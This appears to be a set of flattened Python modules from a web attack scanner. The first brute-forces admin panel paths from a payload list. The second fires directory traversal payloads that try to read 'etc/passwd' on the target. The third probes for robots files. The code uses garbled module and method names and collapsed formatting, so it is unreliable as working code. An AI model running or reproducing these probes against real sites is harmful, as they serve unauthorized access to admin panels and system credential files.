def atom(self, host): import request from urfil import sansor host = sansor().pransor(host) if sansor().cransor(host): payloads = open('master/panel_brute/force/BRF', 'r') goods = [] def getrequest(url): try: getrequest = request.request(url) if getrequest.status_code == 200: if url not in goods: goods.append(url) except BaseException: pass for payload in payloads: payload = str(payload).replace('\n', '') getrequest(host + payload) if goods == []: goods.append('none') return goods else: return None
def atom(self, host): import request import re from urfil import sansor host = sansor().pransor(host) if sansor().cransor(host): payloads = open('master/panel_brute/force/TRAVERSAL', 'r') goods = [] def getrequest(url): try: getrequest = request.request(url) if getrequest.status_code == 200: if url not in goods: goods.append(url) except BaseException: pass for payload in payloads: files = re.compile(r'{FILE}').findall(payload) payload = payload.replace(files[0], 'etc/passwd') payload = payload.replace('\n', '') getrequest(host + payload) if goods == []: goods.append('none') return goods else: return None
def atom(self, host): import request from urfil import sansor host = sansor().pransor(host) if sansor().cransor(host): payloads = [ 'robots.txt', 'robot.xml', 'robots.xml', 'robot.txt', 'robot.html' ] goods = [] def getrequest(url): try: getrequest = request.request(url) if getrequest.status_code == 200: if url not in goods: goods.append(url) except BaseException: pass for payload in payloads: getrequest(host + payload) if goods == []: goods.append('none') return goods else: return None